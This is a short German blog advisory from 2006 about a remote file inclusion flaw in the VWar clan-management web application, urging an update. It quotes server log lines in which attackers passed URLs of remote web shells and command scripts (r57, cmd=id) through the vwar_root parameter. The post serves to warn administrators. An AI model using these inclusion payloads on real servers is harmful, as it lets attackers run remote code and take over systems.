VWar XSS Vulnerability VWar XSS Vulnerability

2006-04-02 00:12 von Kelli (0 Kommentare)

Wer Vwar einsetzt sollte dringend auf 1.5.0 R12 updaten *auf 1.5.0 R13 updaten*
Vwar ist eineWebapplication die es Clans erlaubt ihre Member und Termine zu managen.
Nachdem ein Bugreport auf http://www.securityfocus.com/bid/17290 über einen Fehler in der functions_install.php erschienen ist wird die Lücke bereits aktiv ausgenutzt. In den Webserver Logfiles finden sich Einträge wie:

GET /vwar/includes/functions_install.php?vwar_root=http://unghXXXXXXXXXX.de/r57.gif?
GET /vwar/includes/functions_install.php?vwar_root=http://XXXXXXX.itunisie.com/shell/2.php?
http://147.123.XXX.XXX/phpMyAdmin-2.5.0-rc1/0/0.php
GET
/vwar/includes/functions_install.php?vwar_root=http://XXXXXXXX.lycos.es/servertec/cmd3.txt?cmd=id
GET
/vwar/includes/functions_install.php?vwar_root=http://uXXXXXXXXX.iasi.rdsnet.ro/jar/jar.jpg?&cmd=
w

Sollte php mit allow_url_fopen = On betrieben werden ist es jetzt eventuell bereits zu spät, und man sollte sich sein System nochmal ganz genau ansehen.
Update: Weitere Fehler in R13 beseitigt, R12 enthällt immernoch Angriffspunkte wie get_header.php, functions_front, get_footer u.s.w. {mos_smf_discuss}

Zurück